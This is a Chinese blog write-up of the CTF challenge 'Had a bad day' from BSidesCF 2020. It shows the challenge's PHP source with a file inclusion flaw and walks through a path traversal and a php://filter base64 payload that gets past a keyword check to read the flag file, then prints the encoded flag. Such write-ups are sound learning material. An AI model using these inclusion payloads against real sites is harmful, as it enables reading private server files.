[BSidesCF 2020]Had a bad day

FPoint·2022-02-10 23:26·311 次阅读

[BSidesCF 2020]Had a bad day

打开题目

 

 

 问我have a bad day?

随便点一个出现了

 

 

 地址栏出现了?category=woofers

然后点另外一个

 

 

 

地址栏出现了?category=meowers

于是推测这个可能是打开某个页面

于是我尝试用get传参?category=flag.php

 

 

 出现了只支持woofers和meowers也就是前面点的那个

然后我尝试在woofers后面加个.php

结果出现了

 

 

 说明它是你输入一个然后他会自动补上一个.php

然后我找不到思路了,根据题目上面提供了github链接我找到了源码

复制代码
 <?php
                $file = $_GET['category'];

                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>
复制代码

然后我本来以为是用数组来绕过strops函数,

 

 

 结果出现了这个,失败了。

然后我csdn上面看了下别人的wp。

说要用php伪协议读取。

根据前面源代码可知,要读文件必须要有woofers或者meowers

于是get传参woofers/../flag

然后在源代码里面看到了

<!-- Can you read this flag? -->

要用php伪协议读取flag

1
?category=php://filter/convert.base64-encode/resource=flag

 结果出现了

Sorry, we currently only support woofers and meowers.

 我想起来读文件里面必须要有index,woofers之中的一个所以我改payload:

1
?category=php://filter/convert.base64-encode/woofers/resource=flag

然后得到了:

1
PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7ZGY4YjY2NjEtZjNmMC00ODIyLWJmZDUtZWQxNWY1YWMwMzU2fQo/Pgo=

  然后解个密就得到答案了。

posted @   FPointmaple  阅读(311)  评论(2编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示